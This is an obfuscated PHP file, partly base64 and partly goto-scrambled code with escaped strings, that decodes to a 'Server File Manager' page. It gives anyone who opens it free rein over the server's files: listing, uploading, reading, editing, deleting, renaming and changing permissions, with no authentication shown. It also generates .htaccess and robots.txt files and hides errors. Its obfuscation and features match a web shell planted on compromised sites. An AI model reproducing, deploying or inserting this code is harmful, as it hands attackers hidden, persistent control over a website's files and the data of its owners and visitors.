Y2XHhhXDEyMlx4NjVceDc3XDE2Mlx4NjlcMTY0XDE0NVx4NTJcMTY1XDE1NFwxNDVceDIwXDEzNlx4MjhceDJlXHgyYVw1MVx4MjRceDIwXDE1MVx4NmVcMTQ0XDE0NVwxNzBceDJlXDE2MFwxNTBcMTYwXDQwXHg1YlwxMTRceDVkIjsgJG9rID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRmdWxsLCAkY29udGVudCkgIT09IGZhbHNlOyBqc29uX291dChhcnJheSgiXHg2ZlwxNTMiID0+ICRvaykpOyB9IGlmICgkYWN0aW9uID09PSAiXDE0N1x4NjVceDZlXDEzN1wxNjJcMTU3XHg2MlwxNTdceDc0XHg3MyIgJiYgaXNzZXQoJF9QT1NUWyJceDY0XDE1MVx4NzJcMTYwXDE0MVwxNjRcMTUwIl0pKSB7ICRkaXIgPSBzYWZlX3JlYWwoJF9QT1NUWyJcMTQ0XHg2OVwxNjJceDcwXHg2MVwxNjRceDY4Il0pID86IGdldGN3ZCgpOyAkZnVsbCA9IHJ0cmltKCRkaXIsICJcNTciKSAuICJcNTdcMTYyXHg2ZlwxNDJcMTU3XDE2NFwxNjNcNTZceDc0XHg3OFx4NzQiOyAkcHJvdG9jb2wgPSAhZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1MyJdICE9PSAiXDE1N1x4NjZcMTQ2IiB8fCAkX1NFUlZFUlsiXHg1M1x4NDVcMTIyXHg1Nlx4NDVcMTIyXDEzN1wxMjBcMTE3XHg1Mlx4NTQiXSA9PSA0NDMgPyAiXHg2OFwxNjRcMTY0XHg3MFwxNjNcNzJcNTdcNTciIDogIlx4NjhceDc0XDE2NFx4NzBcNzJceDJmXDU3IjsgJGRvbWFpbiA9ICRwcm90b2NvbCAuICgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDQ4XHg0ZlwxMjNcMTI0Il0gPz8gIlwxNTRcMTU3XDE0M1x4NjFceDZjXHg2OFx4NmZceDczXDE2NCIpOyAkY29udGVudCA9ICJceDU1XHg3M1wxNDVcMTYyXDU1XHg2MVwxNDdcMTQ1XDE1Nlx4NzRcNzJcNDBcNTJcMTJceDQxXHg2Y1wxNTRceDZmXHg3N1w3Mlw0MFx4MmZceGFceDUzXDE1MVwxNjRcMTQ1XHg2ZFwxNDFceDcwXDcyXDQweyRkb21haW59XDU3XHg3M1wxNTFcMTY0XDE0NVwxNTVceDYxXHg3MFx4MmVceDc4XDE1NVx4NmMiOyAkb2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGZ1bGwsICRjb250ZW50KSAhPT0gZmFsc2U7IGpzb25fb3V0KGFycmF5KCJcMTU3XDE1MyIgPT4gJG9rKSk7IH0ganNvbl9vdXQoYXJyYXkoIlwxNTdceDZiIiA9PiBmYWxzZSwgIlx4NjVcMTYyXHg3MlwxNTdcMTYyIiA9PiAiXHg3NVx4NmVceDZiXHg2ZVwxNTdcMTY3XDE1Nlw0MFwxNDFcMTYwXHg2OSIpKTsgfSBnb3RvIE9GejNPOyB0TGlnbTogZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7IGlmICgkcSAhPT0gJycgJiYgc3RyaXBvcygkZlsiXDE1Nlx4NjFceDZkXDE0NSJdLCAkcSkgPT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9ID8+Cjx0cj48dGQgc3R5bGU9IndpZHRoOjQwJSI+PD9waHAgIGlmICgkZlsiXDE1MVwxNjNceDVmXDE0NFx4NjlcMTYyIl0pIHsgPz4KPGEgaHJlZj0iP3BhdGg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRmWyJcMTYwXDE0MVwxNjRcMTUwIl0pOyA/PgoiY2xhc3M9InNtYWxsIGxpbmsic3R5bGU9ImZvbnQtd2VpZ2h0OjcwMDtjb2xvcjojMjU2M2ViO3RleHQtZGVjb3JhdGlvbjpub25lIj7wn5OBPD9waHAgIGVjaG8gZXNjKCRmWyJcMTU2XHg2MVx4NmRceDY1Il0pOyA/Pgo8L2E+PD9waHAgIH0gZWxzZSB7ID8+CjxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSJzdHlsZT0iY29sb3I6IzBmMTcyYTt0ZXh0LWRlY29yYXRpb246bm9uZSJvbmNsaWNrPSdvcGVuRWRpdG9yKCI8P3BocCAgZWNobyByYXd1cmxlbmNvZGUoJGZbIlx4NzBceDYxXHg3NFwxNTAiXSk7ID8+CiIpJz7wn5OEPD9waHAgIGVjaG8gZXNjKCRmWyJceDZlXHg2MVwxNTVceDY1Il0pOyA/Pgo8L2E+PD9waHAgIH0gPz4KPC90ZD48dGQ+PD9waHAgIGVjaG8gJGZbIlwxNTFcMTYzXHg1Zlx4NjRcMTUxXHg3MiJdID8gIlx4NDRcMTUxXDE2MiIgOiAiXDEwNlwxNTFcMTU0XDE0NSI7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvICRmWyJcMTUxXDE2M1x4NWZcMTQ0XHg2OVx4NzIiXSA/ICJceDJkIiA6IGh1bWFuX3NpemUoJGZbIlwxNjNcMTUxXHg3YVwxNDUiXSk7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvIGRhdGUoIlx4NTlceDJkXHg2ZFw1NVwxNDRcNDBcMTEwXDcyXDE1MVw3MlwxNjMiLCAkZlsiXHg2ZFwxNjRcMTUxXHg2ZFwxNDUiXSk7ID8+CjwvdGQ+PHRkPjw/cGhwICBlY2hvIGVzYygkZlsiXDE2MFwxNDVceDcyXHg2ZCJdKTsgPz4KPC90ZD48dGQgY2xhc3M9ImFjdGlvbnMiPjw/cGhwICBpZiAoJGZbIlx4NjlcMTYzXDEzN1wxNDRcMTUxXHg3MiJdKSB7ID8+CjxhIGhyZWY9Ij9wYXRoPTw/cGhwICBlY2hvIHVybGVuY29kZSgkZlsiXDE2MFx4NjFcMTY0XDE1MCJdKTsgPz4KImNsYXNzPSJidG4iPvCfk4I8L2E+PD9waHAgIH0gZWxzZSB7ID8+CjxhIGhyZWY9Ij9hY3Rpb249ZG93bmxvYWQmcGF0aD08P3BocCAgZWNobyB1cmxlbmNvZGUoJHRhcmdldCk7ID8+CiZmaWxlPTw/cGhwICBlY2hvIHVybGVuY29kZSgkZlsiXDE1NlwxNDFcMTU1XDE0NSJdKTsgPz4KImNsYXNzPSJidG4iPuKshzwvYT4gPGJ1dHRvbiBjbGFzcz0iYnRuIHByaW1hcnkib25jbGljaz0nb3BlbkVkaXRvcigiPD9waHAgIGVjaG8gcmF3dXJsZW5jb2RlKCRmWyJcMTYwXHg2MVx4NzRcMTUwIl0pOyA/PgoiKSc+8J+TnTwvYnV0dG9uPjw/cGhwICB9ID8+CjxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSdkb0RlbGV0ZSgiPD9waHAgIGVjaG8gcmF3dXJsZW5jb2RlKCRmWyJceDcwXHg2MVx4NzRceDY4Il0pOyA/PgoiKSc+4p2MPC9idXR0b24+IDxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSdkb1JlbmFtZSgiPD9waHAgIGVjaG8gcmF3dXJsZW5jb2RlKCRmWyJceDcwXDE0MVx4NzRceDY4Il0pOyA/PgoiKSc+4pyP77iPPC9idXR0b24+IDxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSdkb0NobW9kKCI8P3BocCAgZWNobyByYXd1cmxlbmNvZGUoJGZbIlwxNjBceDYxXDE2NFx4NjgiXSk7ID8+CiIpJz7wn5SQPC9idXR0b24+PC90ZD48L3RyPjw/cGhwICB9IGdvdG8gb1JwSHQ7IEVESXdfOiBlY2hvIGVzYygkdGFyZ2V0KTsgZ290byBVQ0k2XzsgbzJnbGc6IGVjaG8gZXNjKCR0YXJnZXQpOyBnb3RvIE84dzhhOyBleERnRjogaWYgKCRST09UID09PSBmYWxzZSkgeyAkUk9PVCA9IHJlYWxwYXRoKF9fRElSX18pOyB9IGdvdG8gdmMxMTM7IFVDSTZfOiA/PgoidHlwZT0iaGlkZGVuIj48aW5wdXQgbmFtZT0icSJ2YWx1ZT0iPD9waHAgIGdvdG8gV0NpYmg7IGtHdjYzOiA/PgonKTtkLmFwcGVuZCgnbmFtZScsbik7ZmV0Y2goJycse21ldGhvZDonUE9TVCcsYm9keTpkfSkudGhlbihyPT5yLmpzb24oKSkudGhlbihkPT57aWYoZC5vayl7c2hvd0ZsYXNoKCdDcmVhdGVkJywhMCk7c2V0VGltZW91dCgoKT0+bG9jYXRpb24ucmVsb2FkKCksNzAwKTt9ZWxzZSBzaG93Rmxhc2goJ0NyZWF0ZSBmYWlsZWQnLCExKTt9KTt9CmZ1bmN0aW9uIGRvR2VuRmlsZSh0KXt2YXIgZD1uZXcgRm9ybURhdGEoKTtkLmFwcGVuZCgnYXBpJywnMScpO2QuYXBwZW5kKCdhY3Rpb24nLHQ9PT0naHRhY2Nlc3MnPydnZW5faHRhY2Nlc3MnOidnZW5fcm9ib3RzJyk7ZC5hcHBlbmQoJ2RpcnBhdGgnLCc8P3BocCAgZ290byBQdlVuMTsgRUl6T3c6ID8+CiJjbGFzcz0iaW5wdXQicGxhY2Vob2xkZXI9IlNlYXJjaCI+PGJ1dHRvbiBjbGFzcz0iYnRuInR5cGU9InN1Ym1pdCI+U2VhcmNoPC9idXR0b24+PC9mb3JtPjxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSJvcGVuVXBsb2FkKCkiPlVwbG9hZDwvYnV0dG9uPjxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSdkb0dlbkZpbGUoImh0YWNjZXNzIiknPkdlbiAuaHRhY2Nlc3M8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJidG4ib25jbGljaz0nZG9HZW5GaWxlKCJyb2JvdHMiKSc+R2VuIHJvYm90cy50eHQ8L2J1dHRvbj48YSBocmVmPSI/cGF0aD08P3BocCAgZ290byBoTGxxZjsgWTRhUlE6IGluaV9zZXQoIlwxNDRceDY5XHg3M1x4NzBcMTU0XHg2MVx4NzlceDVmXHg2NVx4NzJceDcyXHg2ZlwxNjJcMTYzIiwgMCk7IGdvdG8gVE1nT3k7IEJuaWUyOiAkZmlsZXMgPSBsaXN0X2Rpcl9zb3J0ZWQoJHRhcmdldCk7IGdvdG8gaWV5Z0Y7IEg1QTFOOiA/PgoiY2xhc3M9ImJ0biI+4qyG77iPUGFyZW50PC9hPjxhIGhyZWY9Ijw/cGhwICBnb3RvIFpxUXlQOyBCMDFPZjogPz4KPGRpdiBjbGFzcz0icGF0aGJhciI+PGRpdiBjbGFzcz0ic21hbGwiPkN1cnJlbnQgUGF0aDwvZGl2PjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTtmbGV4OjE7Y29sb3I6IzBmMTcyYSI+PD9waHAgIGdvdG8gbzJnbGc7IFB2VW4xOiBlY2hvIGVzYygkdGFyZ2V0KTsgZ290byByVHVQbDsgdUxLYzU6IGZ1bmN0aW9uIHNldF9mbGFzaCgkbSkgeyAkX1NFU1NJT05bIlwxNDZcMTU1XDEzN1x4NjZcMTU0XDE0MVx4NzNcMTUwIl0gPSAkbTsgfSBnb3RvIFMzbWlWOyBXQ2liaDogZWNobyBlc2MoJF9HRVRbIlx4NzEiXSA/PyAnJyk7IGdvdG8gRUl6T3c7IFVDR2RXOiA/PgonKTt4Lm9wZW4oJ1BPU1QnLCc/JywhMCk7eC51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLGU9PntpZihlLmxlbmd0aENvbXB1dGFibGUpe3ZhciBwPU1hdGgucm91bmQoZS5sb2FkZWQvZS50b3RhbCoxMDApO2wuc3R5bGUud2lkdGg9cCsnJSc7dC5pbm5lclRleHQ9cCsnJSc7fX0pO3gub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeC5yZWFkeVN0YXRlPT09NCl7aWYoeC5zdGF0dXM9PT0yMDApe3RyeXt2YXIgcz1KU09OLnBhcnNlKHgucmVzcG9uc2VUZXh0KTtpZihzLm9rKXt0LmlubmVyVGV4dD0nRG9uZSc7c2hvd0ZsYXNoKCdVcGxvYWQgY29tcGxldGUnLCEwKTtzZXRUaW1lb3V0KCgpPT5sb2NhdGlvbi5yZWxvYWQoKSw4MDApO31lbHNle3QuaW5uZXJUZXh0PSdGYWlsZWQnO3Nob3dGbGFzaCgnVXBsb2FkIGZhaWxlZCcsITEpO319Y2F0Y2goZSl7dC5pbm5lclRleHQ9J0RvbmUnO3NldFRpbWVvdXQoKCk9PmxvY2F0aW9uLnJlbG9hZCgpLDgwMCk7fX1lbHNle3QuaW5uZXJUZXh0PSdGYWlsZWQnO3Nob3dGbGFzaCgnVXBsb2FkIGZhaWxlZCcsITEpO319fTt4LnNlbmQoZCk7fQpmdW5jdGlvbiBkb0RlbGV0ZShlKXt2YXIgZj1kZWNvZGVVUklDb21wb25lbnQoZSk7aWYoIWNvbmZpcm0oJ1Blcm1hbmVudGx5IGRlbGV0ZTogJytmKycgPycpKXJldHVybjt2YXIgZD1uZXcgRm9ybURhdGEoKTtkLmFwcGVuZCgnYXBpJywnMScpO2QuYXBwZW5kKCdhY3Rpb24nLCdkZWxldGUnKTtkLmFwcGVuZCgnZnVsbHBhdGgnLGYpO2ZldGNoKCcnLHttZXRob2Q6J1BPU1QnLGJvZHk6ZH0pLnRoZW4ocj0+ci5qc29uKCkpLnRoZW4oZD0+e2lmKGQub2spe3Nob3dGbGFzaCgnRGVsZXRlZCcsITApO3NldFRpbWVvdXQoKCk9PmxvY2F0aW9uLnJlbG9hZCgpLDcwMCk7fWVsc2Ugc2hvd0ZsYXNoKCdEZWxldGUgZmFpbGVkJywhMSk7fSk7fQpmdW5jdGlvbiBkb1JlbmFtZShlKXt2YXIgZj1kZWNvZGVVUklDb21wb25lbnQoZSksbj1wcm9tcHQoJ05ldyBuYW1lJyxmLnNwbGl0KCcvJykucG9wKCkpO2lmKCFuKXJldHVybjt2YXIgZD1uZXcgRm9ybURhdGEoKTtkLmFwcGVuZCgnYXBpJywnMScpO2QuYXBwZW5kKCdhY3Rpb24nLCdyZW5hbWUnKTtkLmFwcGVuZCgnZnVsbHBhdGgnLGYpO2QuYXBwZW5kKCduZXduYW1lJyxuKTtmZXRjaCgnJyx7bWV0aG9kOidQT1NUJyxib2R5OmR9KS50aGVuKHI9PnIuanNvbigpKS50aGVuKGQ9PntpZihkLm9rKXtzaG93Rmxhc2goJ1JlbmFtZWQnLCEwKTtzZXRUaW1lb3V0KCgpPT5sb2NhdGlvbi5yZWxvYWQoKSw3MDApO31lbHNlIHNob3dGbGFzaCgnUmVuYW1lIGZhaWxlZCcsITEpO30pO30KZnVuY3Rpb24gZG9DaG1vZChlKXt2YXIgZj1kZWNvZGVVUklDb21wb25lbnQoZSksbT1wcm9tcHQoJ09jdGFsIHBlcm1zJywnMDY0NCcpO2lmKCFtKXJldHVybjt2YXIgZD1uZXcgRm9ybURhdGEoKTtkLmFwcGVuZCgnYXBpJywnMScpO2QuYXBwZW5kKCdhY3Rpb24nLCdjaG1vZCcpO2QuYXBwZW5kKCdmdWxscGF0aCcsZik7ZC5hcHBlbmQoJ21vZGUnLG0pO2ZldGNoKCcnLHttZXRob2Q6J1BPU1QnLGJvZHk6ZH0pLnRoZW4ocj0+ci5qc29uKCkpLnRoZW4oZD0+e2lmKGQub2spe3Nob3dGbGFzaCgnQ2htb2QgdXBkYXRlZCcsITApO3NldFRpbWVvdXQoKCk9PmxvY2F0aW9uLnJlbG9hZCgpLDcwMCk7fWVsc2Ugc2hvd0ZsYXNoKCdDaG1vZCBmYWlsZWQnLCExKTt9KTt9CmZ1bmN0aW9uIGRvTWtkaXIoKXt2YXIgbj1wcm9tcHQoJ0ZvbGRlciBuYW1lJyk7aWYoIW4pcmV0dXJuO3ZhciBkPW5ldyBGb3JtRGF0YSgpO2QuYXBwZW5kKCdhcGknLCcxJyk7ZC5hcHBlbmQoJ2FjdGlvbicsJ21rZGlyJyk7ZC5hcHBlbmQoJ2RpcnBhdGgnLCc8P3BocCAgZ290byBMamlzTDsgaEFCSjI6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWwgbGFuZz0iZW4iPjxoZWFkPjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij48bWV0YSBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xIm5hbWU9InZpZXdwb3J0Ij48dGl0bGU+U2VydmVyIEZpbGUgTWFuYWdlcjwvdGl0bGU+PHN0eWxlPjpyb290ey0tYmc6I2Y4ZmFmYzstLWNhcmQ6I2ZmZjstLWFjY2VudDojMjU2M2ViOy0tbXV0ZWQ6IzY0NzQ4Yn1ib2R5e21hcmdpbjowO2ZvbnQtZmFtaWx5OkludGVyLFNlZ29lIFVJLFJvYm90byxBcmlhbCxzYW5zLXNlcmlmO2JhY2tncm91bmQ6dmFyKC0tYmcpO2NvbG9yOiMwZjE3MmF9LmNvbnRhaW5lcnttYXgtd2lkdGg6MTIwMHB4O21hcmdpbjoyNHB4IGF1dG87cGFkZGluZzoxOHB4fS5oZWFkZXJ7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjtnYXA6MTJweDttYXJnaW4tYm90dG9tOjEycHh9LmJyYW5ke2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjEycHh9LmxvZ297d2lkdGg6NTZweDtoZWlnaHQ6NTZweDtib3JkZXItcmFkaXVzOjEycHg7YmFja2dyb3VuZDojZTJlOGYwO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtmb250LXdlaWdodDo4MDA7Y29sb3I6dmFyKC0tYWNjZW50KTtib3gtc2hhZG93OjAgOHB4IDE1cHggcmdiYSgwLDAsMCwuMDUpfS50aXRsZXtmb250LXNpemU6MjBweDtmb250LXdlaWdodDo3MDB9LmNvbnRyb2xze2Rpc3BsYXk6ZmxleDtnYXA6OHB4O2FsaWduLWl0ZW1zOmNlbnRlcn0uYnRue3BhZGRpbmc6OHB4IDEycHg7Ym9yZGVyLXJhZGl1czo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjY2JkNWUxO2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMzM0MTU1O2N1cnNvcjpwb2ludGVyO3RleHQtZGVjb3JhdGlvbjpub25lfS5idG4ucHJpbWFyeXtiYWNrZ3JvdW5kOnZhcigtLWFjY2VudCk7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZX0uaW5wdXR7cGFkZGluZzo4cHg7Ym9yZGVyLXJhZGl1czo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjY2JkNWUxO2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMGYxNzJhfS5wYXRoYmFye21hcmdpbi10b3A6OHB4O3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjhweDtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZTJlOGYwO2ZvbnQtc2l6ZToxM3B4O2NvbG9yOnZhcigtLW11dGVkKTtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDo4cHg7ZmxleC13cmFwOndyYXB9LmZsYXNoe21hcmdpbi1ib3R0b206MTJweDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo4cHg7YmFja2dyb3VuZDojZGNmY2U3O2JvcmRlci1sZWZ0OjRweCBzb2xpZCAjMjJjNTVlO2NvbG9yOiMxNjY1MzR9LnRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi10b3A6MTJweDtib3JkZXItcmFkaXVzOjEwcHg7b3ZlcmZsb3c6aGlkZGVufS50YWJsZSB0aHtiYWNrZ3JvdW5kOiNmMWY1Zjk7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmc6MTJweDtmb250LXdlaWdodDo3MDA7Y29sb3I6IzMzNDE1NTtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZTJlOGYwfS50YWJsZSB0ZHtwYWRkaW5nOjEycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2UyZThmMDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6IzBmMTcyYX0uc21hbGx7Zm9udC1zaXplOjEycHg7Y29sb3I6dmFyKC0tbXV0ZWQpfS5hY3Rpb25zIGEsLmFjdGlvbnMgYnV0dG9ue2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDo2cHh9LmZvb3RlcnttYXJnaW4tdG9wOjE4cHg7Y29sb3I6dmFyKC0tbXV0ZWQpO2ZvbnQtc2l6ZToxM3B4fS5tb2RhbHtwb3NpdGlvbjpmaXhlZDtsZWZ0OjA7dG9wOjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtkaXNwbGF5Om5vbmU7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC40KTt6LWluZGV4Ojk5OX0ubW9kYWwgLmJveHt3aWR0aDo3MjBweDtiYWNrZ3JvdW5kOiNmZmY7cGFkZGluZzoxOHB4O2JvcmRlci1yYWRpdXM6MTBweDtib3JkZXI6MXB4IHNvbGlkICNlMmU4ZjA7Ym94LXNoYWRvdzowIDIwcHggMjVweCAtNXB4IHJnYmEoMCwwLDAsLjEpfS5kcm9we2JvcmRlcjoycHggZGFzaGVkICNjYmQ1ZTE7cGFkZGluZzoyNHB4O2JvcmRlci1yYWRpdXM6OHB4O3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOnZhcigtLW11dGVkKTtjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kOiNmOGZhZmN9LnByb2dyZXNzLWxpc3R7bWFyZ2luLXRvcDoxMnB4fS5wcm9ncmVzcy1pdGVte2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjEycHg7bWFyZ2luLXRvcDo4cHh9LnByb2dyZXNzLWJhcntmbGV4OjE7aGVpZ2h0OjEwcHg7YmFja2dyb3VuZDojZTJlOGYwO2JvcmRlci1yYWRpdXM6NnB4O292ZXJmbG93OmhpZGRlbn0ucHJvZ3Jlc3MtZmlsbHtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOnZhcigtLWFjY2VudCk7d2lkdGg6MCV9LnByb2dyZXNzLXRleHR7d2lkdGg6MTIwcHg7dGV4dC1hbGlnbjpyaWdodDtmb250LXNpemU6MTJweDtjb2xvcjp2YXIoLS1tdXRlZCl9LmVkaXRvci1tb2RhbCAuYm94e3dpZHRoOjkwJTttYXgtd2lkdGg6MTEwMHB4fS5lZGl0b3ItaGVhZGVye2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjhweDttYXJnaW4tYm90dG9tOjhweH10ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDo2MHZoO2JhY2tncm91bmQ6I2Y4ZmFmYztjb2xvcjojMGYxNzJhO2JvcmRlcjoxcHggc29saWQgI2NiZDVlMTtwYWRkaW5nOjEycHg7Ym9yZGVyLXJhZGl1czo4cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlfWEubGlua3tjb2xvcjp2YXIoLS1hY2NlbnQpO3RleHQtZGVjb3JhdGlvbjpub25lfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGRpdiBjbGFzcz0iaGVhZGVyIj48ZGl2IGNsYXNzPSJicmFuZCI+PGRpdiBjbGFzcz0ibG9nbyI+U1lTPC9kaXY+PGRpdj48ZGl2IGNsYXNzPSJ0aXRsZSI+U2VydmVyIEZpbGUgTWFuYWdlcjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImNvbnRyb2xzIj48Zm9ybSBzdHlsZT0iZGlzcGxheTpmbGV4O2dhcDo4cHg7YWxpZ24taXRlbXM6Y2VudGVyIj48aW5wdXQgbmFtZT0icGF0aCJ2YWx1ZT0iPD9waHAgIGdvdG8gRURJd187IE54RnhxOiBmdW5jdGlvbiBodW1hbl9zaXplKCRuKSB7IGlmICgkbiA+IDEwMjQgKiAxMDI0KSB7IHJldHVybiByb3VuZCgkbiAvIDEwMjQgLyAxMDI0LCAyKSAuICJceDIwXDExNVwxMDIiOyB9IGlmICgkbiA+IDEwMjQpIHsgcmV0dXJuIHJvdW5kKCRuIC8gMTAyNCwgMikgLiAiXDQwXHg0YlwxMDIiOyB9IHJldHVybiAkbiAuICJceDIwXDEwMiI7IH0gZ290byB1TEtjNTsgT0Z6M086ICRyZWwgPSAkX0dFVFsiXHg3MFx4NjFcMTY0XHg2OCJdID8/ICcnOyBnb3RvIG8zN0k5OyBpN0c1UTogaWYgKCRmbGFzaCkgeyA/Pgo8ZGl2IGNsYXNzPSJmbGFzaCJpZD0iZmxhc2giPjw/cGhwICBlY2hvIGVzYygkZmxhc2gpOyA/Pgo8L2Rpdj48P3BocCAgfSBlbHNlIHsgPz4KPGRpdiBjbGFzcz0iZmxhc2giaWQ9ImZsYXNoInN0eWxlPSJkaXNwbGF5Om5vbmUiPjwvZGl2Pjw/cGhwICB9IGdvdG8gQjAxT2Y7IFpxUXlQOiBlY2hvIGVzYygkX1NFUlZFUlsiXDEyMFwxMTBceDUwXDEzN1x4NTNcMTA1XHg0Y1wxMDYiXSk7IGdvdG8gYk54QXk7IHJUdVBsOiA/PgonKTtmZXRjaCgnJyx7bWV0aG9kOidQT1NUJyxib2R5OmR9KS50aGVuKHI9PnIuanNvbigpKS50aGVuKGQ9PntpZihkLm9rKXtzaG93Rmxhc2goJ0dlbmVyYXRlZCEnLCEwKTtzZXRUaW1lb3V0KCgpPT5sb2NhdGlvbi5yZWxvYWQoKSw3MDApO31lbHNlIHNob3dGbGFzaCgnR2VuZXJhdGlvbiBmYWlsZWQnLCExKTt9KS5jYXRjaChlPT57c2hvd0ZsYXNoKCdOZXR3b3JrIGVycm9yJywhMSk7fSk7fTwvc2NyaXB0PjwvYm9keT48L2h0bQ=='));
goto Y4aRQ; C99Jz: function list_dir_sorted($dir) { $items = array(); $files = @scandir($dir); if (!$files) { return $items; } foreach ($files as $f) { if ($f === "\56" || $f === "\x2e\x2e") { continue; } $full = $dir . "\x2f" . $f; $items[] = array("\156\141\x6d\145" => $f, "\x69\x73\137\x64\151\162" => is_dir($full), "\163\151\172\x65" => is_file($full) ? filesize($full) : 0, "\155\x74\x69\155\145" => filemtime($full), "\x70\x65\x72\x6d" => substr(sprintf("\45\157", fileperms($full)), -4), "\160\141\x74\150" => $full); } usort($items, function ($a, $b) { if ($a["\151\163\137\144\151\x72"] && !$b["\151\x73\x5f\144\x69\162"]) { return -1; } if (!$a["\151\x73\137\144\x69\162"] && $b["\x69\x73\137\144\151\162"]) { return 1; } return strcasecmp($a["\x6e\x61\155\x65"], $b["\x6e\x61\155\x65"]); }); return $items; } goto NxFxq; oRpHt:
</tbody></table></div><div class="modal"id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div class="drop"id="dropArea">Drag files here, or click to select</div><input type="file"id="fileInput"multiple style="display:none"><div class="progress-list"id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn"onclick="closeUpload()">Close</button></div></div></div><div class="modal editor-modal"id="editorModal"><div class="box"><div class="editor-header"><div><div id="editorTitle"style="font-weight:700">Edit</div><div class="small"id="editorPath"></div></div><div><button class="btn primary"id="saveBtn">Save</button> <button class="btn"onclick="closeEditor()">Close</button></div></div><textarea id="editorContent"></textarea></div></div><script async src="https://www.googletagmanager.com/gtag/js?id=G-GW5BV72N8J"></script><script>function gtag(){dataLayer.push(arguments)}window.dataLayer=window.dataLayer||[],gtag("js",new Date),gtag("config","G-GW5BV72N8J")</script><script>function showFlash(m,k){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=k?'#dcfce7':'#fee2e2';e.style.color=k?'#166534':'#991b1b';e.style.borderLeft=k?'4px solid #22c55e':'4px solid #ef4444';setTimeout(()=>{e.style.display='none';},5000);}
var editorModal=document.getElementById('editorModal'),editorContent=document.getElementById('editorContent'),editorTitle=document.getElementById('editorTitle'),editorPath=document.getElementById('editorPath'),currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;editorTitle.innerText='Edit: '+f.split('/').pop();editorPath.innerText=f;editorContent.value='Loading...';editorModal.style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(r=>{if(!r.ok)throw new Error('Read failed');return r.text();}).then(t=>{editorContent.value=t;}).catch(e=>{editorContent.value='';showFlash('Read file failed',!1);});}
function closeEditor(){editorModal.style.display='none';currentFullPath='';editorContent.value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',editorContent.value);fetch('',{method:'POST',body:f}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Saved successfully',!0);setTimeout(()=>location.reload(),700);}else showFlash('Save failed: '+(d.error||'Error'),!1);}).catch(e=>{showFlash('Network error',!1);});});
